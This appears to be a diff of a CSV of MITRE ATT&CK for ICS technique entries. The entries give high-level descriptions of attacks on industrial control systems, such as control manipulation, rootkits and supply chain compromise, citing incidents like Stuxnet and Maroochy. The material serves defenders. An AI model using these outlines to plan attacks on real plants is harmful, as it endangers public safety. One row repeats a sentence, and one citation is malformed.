+attack-pattern,attack-pattern--ab390887-afc0-4715-826d-b1b167d522ae,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Hooking,"Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: EAttack Hooking) -One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Stuxnet - Symantec - 201102)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0874', external_id='T0874'), ExternalReference(source_name='EAttack Hooking', description='Enterprise ATT&CK. (n.d.). Hooking. Retrieved October 27, 2019.', url='https://attack.mitre.org/techniques/T1179/'), ExternalReference(source_name='Stuxnet - Symantec - 201102', description='Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', url='https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf')]",attack-pattern--ab390887-afc0-4715-826d-b1b167d522ae,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='execution-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='privilege-escalation-ics')]",2020-05-21 17:43:26.506000+00:00,Hooking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File monitoring', 'Windows registry', 'API monitoring']",,,,,,,,,,,,,,"['Windows', 'Engineering Workstation']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries (Citation: Guidance - NIST SP800-82). While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. +One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Stuxnet - Symantec - 201102)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'privilege-escalation-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0874', 'external_id': 'T0874'}, {'source_name': 'EAttack Hooking', 'description': 'Enterprise ATT&CK. (n.d.). Hooking. Retrieved October 27, 2019.', 'url': 'https://attack.mitre.org/techniques/T1179/'}, {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Module: Module Load']",,,,,['Engineering Workstation'],,,,,,,, +attack-pattern,attack-pattern--1af9e3fd-2bcc-414d-adbd-fe3b95c02ca1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-04-12T07:57:26.506Z,Manipulation of Control,"Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.(Citation: LondonReconnections Hacked Cyber Security Railways May 2017)(Citation: InHomelandSecurity Hacker Poland February 2008)(Citation: Schneier Hacking Polish Trams January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008)Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.(Citation: Schneier Hacking Polish Trams January 2008)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0831', 'external_id': 'T0831'}, {'source_name': 'LondonReconnections Hacked Cyber Security Railways May 2017', 'description': 'John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019.', 'url': 'https://www.londonreconnections.com/2017/hacked-cyber-security-railways/'}, {'source_name': 'InHomelandSecurity Hacker Poland February 2008', 'description': 'Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019.', 'url': 'https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'}, {'source_name': 'Schneier Hacking Polish Trams January 2008', 'description': 'Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019.', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,, +attack-pattern,attack-pattern--2d0d40ad-22fa-4cc8-b264-072557e1364b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Monitor Process State,"Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0801', 'external_id': 'T0801'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,,,,"['Human-Machine Interface', 'Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--25852363-5968-4673-b81d-341d5ed90bd1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Point & Tag Identification,"Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: References - tags process comprehension) Tags are the identifiers given to points for operator convenience. -An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T825', external_id='T0825'), ExternalReference(source_name='Guidance - NIST SP800-82', description='Keith Stouffer. (2015, May). Guide to Industrial Control Systems (ICS) Security. Retrieved March 28, 2018.', url='https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf')]",attack-pattern--7374ab87-0782-41f8-b415-678c0950bb2a,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2020-05-21 17:43:26.506000+00:00,Location Identification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network protocol analysis', 'Packet capture']",,True,,,,,,,,,,,,"['Windows', 'Control Server']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.,"[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0880', external_id='T0880')]",attack-pattern--5fa00fdd-4a55-4191-94a0-564181d7fec2,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Loss of Safety,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) +Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0861', 'external_id': 'T0861'}, {'source_name': 'References - tags process comprehension', 'description': 'Benjamin Green. (n.d.). On the Significance of Process Comprehension for Conducting Targeted ICS Attacks. Retrieved November 1, 2019.', 'url': 'http://www.research.lancs.ac.uk/portal/files/196578358/sample%20sigconf.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Jos Wetzels - Midnight Blue'],['Network Traffic: Network Traffic Content'],,,,,"['Data Historian', 'Control Server', 'Human-Machine Interface']",,,,,,,, +attack-pattern,attack-pattern--c267bbee-bb59-47fe-85e0-3ed210337c21,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Replication Through Removable Media,"Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. -Operators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0832', external_id='T0832'), ExternalReference(source_name='Reference - Corero', description='Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019.', url='https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf'), ExternalReference(source_name='Reference - SANS - 201510', description='Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019.', url='https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297'), ExternalReference(source_name='Reference - RIoT', description='Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019.')]",attack-pattern--4c2e1408-9d68-4187-8e6b-a77bc52700ec,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Manipulation of View,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,"['Windows', 'Engineering Workstation', 'Human-Machine Interface']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor. +Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. (Citation: KGG-Company-Site) (Citation: KGG-Trend Micro) The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. (Citation: KGG-Reuters) (Citation: KGG-Softpedia) (Citation: KGG-Science-Alert) (Citation: KGG-Geek) (Citation: KGG-Ars) (Citation: KGG-Dark) The plant has since checked for infection and cleaned up more than 1,000 computers. (Citation: KGG-BBC) An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution. (Citation: KGG-ESET)","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0847', 'external_id': 'T0847'}, {'source_name': 'KGG-Company-Site', 'description': 'Kernkraftwerk Gundremmingen. (2016, April 25). Detektion von Büro-Schadsoftware an mehreren Rechnern. Retrieved October 14, 2019.', 'url': 'https://www.kkw-gundremmingen.de/presse.php?id=571'}, {'source_name': 'KGG-Softpedia', 'description': ""Catalin Cimpanu. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved October 14, 2019."", 'url': 'https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml'}, {'source_name': 'KGG-Reuters', 'description': 'Christoph Steitz, Eric Auchard. (2016, April 26). German nuclear plant infected with computer viruses, operator says. Retrieved October 14, 2019.', 'url': 'https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS'}, {'source_name': 'KGG-Science-Alert', 'description': 'Peter Dockrill. (2016, April 28). Multiple Computer Viruses Have Been Discovered in This German Nuclear Plant. Retrieved October 14, 2019.', 'url': 'https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant'}, {'source_name': 'KGG-ESET', 'description': 'ESET. (2016, April 28). Malware found at a German nuclear power plant. Retrieved October 14, 2019.', 'url': 'https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/'}, {'source_name': 'KGG-Geek', 'description': 'Lee Mathews. (2016, April 27). German nuclear plant found riddled with Conficker, other viruses. Retrieved October 14, 2019.', 'url': 'https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/'}, {'source_name': 'KGG-Trend Micro', 'description': 'Trend Micro. (2016, April 27). Malware Discovered in German Nuclear Power Plant. Retrieved October 14, 2019.', 'url': 'https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant'}, {'source_name': 'KGG-BBC', 'description': 'BBC. (2016, April 28). German nuclear plant hit by computer viruses. Retrieved October 14, 2019.', 'url': 'https://www.bbc.com/news/technology-36158606'}, {'source_name': 'KGG-Ars', 'description': 'Sean Gallagher. (2016, April 27). German nuclear plant’s fuel rod system swarming with old malware. Retrieved October 14, 2019.', 'url': 'https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/'}, {'source_name': 'KGG-Dark', 'description': 'Dark Reading Staff. (2016, April 28). German Nuclear Power Plant Infected With Malware. Retrieved October 14, 2019.', 'url': 'https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Drive: Drive Creation', 'File: File Access', 'File: File Creation', 'Process: Process Creation']",,,,,"['Human-Machine Interface', 'Data Historian', 'Control Server']",,,,,,,, +attack-pattern,attack-pattern--5e0f75da-e108-4688-a6de-a4f07cc2cbe3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-11T16:22:12.527Z,Supply Chain Compromise,"Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment. -An adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter. - -In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. The software program installed in the laptop was one developed by Hunter Watertech for its use in changing configurations in the PDS computers. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. (Citation: Maroochy - MITRE - 200808)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0836', external_id='T0836'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf')]",attack-pattern--097924ce-a9a9-4039-8591-e0deedfb8722,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impair-process-control')]",2020-05-21 17:43:26.506000+00:00,Modify Parameter,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sequential event recorder', 'Network protocol analysis', 'Packet capture', 'Application logs']",,,,,,,,,,,,,,"['Control Server', 'Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay', 'Human-Machine Interface']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Network Service Scanning is the process of discovering services on networked systems. This can be achieved through a technique called port scanning or probing. Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall. This does not reveal the service that is running behind the port, but since many common services are run on [https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml specific port numbers], the type of service can be assumed. More in-depth testing includes interaction with the actual service to determine the service type and specific version. One of the most-popular tools to use for Network Service Scanning is [https://nmap.org/ Nmap]. - -An adversary may attempt to gain information about a target device and its role on the network via Network Service Scanning techniques, such as port scanning. Network Service Scanning is useful for determining potential vulnerabilities in services on target devices. Network Service Scanning is closely tied to . - -Scanning ports can be noisy on a network. In some attacks, adversaries probe for specific ports using custom tools. This was specifically seen in the Triton and PLC-Blaster attacks.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T841', external_id='T0841')]",attack-pattern--539d0484-fe95-485a-b654-86991c0d0d00,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='discovery-ics')]",2020-05-21 17:43:26.506000+00:00,Network Service Scanning,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network protocol analysis', 'Packet capture']",,True,,,,,,,,,,,,"['Windows', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0845', external_id='T0845')]",attack-pattern--3067b85e-271e-4bc5-81ad-ab1a81d411e3,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='collection-ics')]",2020-05-21 17:43:26.506000+00:00,Program Upload,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sequential event recorder', 'Controller program', 'Network protocol analysis', 'Packet capture']",,,,,,,,,,,,,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used.(Citation: EAttack Remote System Discovery)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0846', external_id='T0846'), ExternalReference(source_name='EAttack Remote System Discovery', description='Enterprise ATT&CK. (2018, January 11). Remote System Discovery. Retrieved May 17, 2018.', url='https://attack.mitre.org/wiki/Technique/T1018')]",attack-pattern--d5a69cfb-fc2a-46cb-99eb-74b236db5061,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='discovery-ics')]",2020-05-21 17:43:26.506000+00:00,Remote System Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process monitoring', 'Process use of network', 'Process command-line parameters', 'Network protocol analysis']",,,,,,,,,,,,,,"['Control Server', 'Data Historian', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: EAttack Rootkit) - -Firmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact. +Supply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment. Counterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk. Yokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product. -Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.Reference - Rootkit","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0851', external_id='T0851'), ExternalReference(source_name='EAttack Rootkit', description='Enterprise ATT&CK. (2018, January 11). Rootkit. Retrieved May 16, 2018.', url='https://attack.mitre.org/wiki/Technique/T1014')]",attack-pattern--3b6b9246-43f8-4c69-ad7a-2b11cfe0a0d9,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='evasion-ics'), KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='inhibit-response-function')]",2020-05-21 17:43:26.506000+00:00,Rootkit,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Controller program'],,,,,,,,,,,,,,['Field Controller/RTU/PLC/IED'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0865', external_id='T0865'), ExternalReference(source_name='EAttack Spearphishing Attachment', description='Enterprise ATT&CK. (2019, October 25). Spearphishing Attachment. Retrieved October 25, 2019.', url='https://attack.mitre.org/techniques/T1193/')]",attack-pattern--648f995e-9c3a-41e4-aeee-98bb41037426,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')]",2020-05-21 17:43:26.506000+00:00,Spearphishing Attachment,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File monitoring', 'Packet capture', 'Network intrusion detection system', 'Detonation chamber', 'Email gateway', 'Mail server']",,,,,,,,,,,,,,"['Engineering Workstation', 'Human-Machine Interface', 'Control Server', 'Data Historian']",,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. +F-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. (Citation: (Citation: Havex - F-Secure) - 201406) The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0862', 'external_id': 'T0862'}, {'source_name': 'Control Global Yokogawa May 2019', 'description': 'Control Global. (2019, May 29). Yokogawa announcement warns of counterfeit transmitters. Retrieved April 9, 2021.', 'url': 'https://www.controlglobal.com/industrynews/2019/yokogawa-announcement-warns-of-counterfeit-transmitters/'}, {'source_name': 'Havex - F-Secure - 201406', 'description': 'F-Secure Labs. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved October 21, 2019.', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'}, {'source_name': 'Havex - F-Secure', 'description': 'Daavid Hentunen, Antti Tikkanen. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved April 1, 2019.', 'url': 'https://www.f-secure.com/weblog/archives/00002718.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,, +attack-pattern,attack-pattern--2736b752-4ec5-4421-a230-8977dea7649c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,User Execution,"Adversaries may rely on a targeted organizations' user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. -In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Bowman Dam - Times) (Citation: Bowman Dam - wall street journal)","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0882', external_id='T0882'), ExternalReference(source_name='Bowman Dam - Times', description='Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.', url='https://time.com/4270728/iran-cyber-attack-dam-fbi/'), ExternalReference(source_name='Bowman Dam - wall street journal', description='Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.', url='https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559')]",attack-pattern--b7e13ee8-182c-4f19-92a4-a88d7d855d54,"[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='impact-ics')]",2020-05-21 17:43:26.506000+00:00,Theft of Operational Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,,,['Windows'],,,, -2020-05-21 17:43:26.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. Adversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted. In the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.","[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0887', external_id='T0887'), ExternalReference(source_name='NIST AMS 300-4 April 2018', description='Candell, R., Hany, M., Lee, K. B., Liu,Y., Quimby, J., Remley, K.. (2018, April). Guide to Industrial Wireless Systems Deployments. Retrieved December 1, 2020.', url='https://nvlpubs.nist.gov/nistpubs/ams/NIST.AMS.300-4.pdf'), ExternalReference(source_name='Bastille Dallas April 2017', 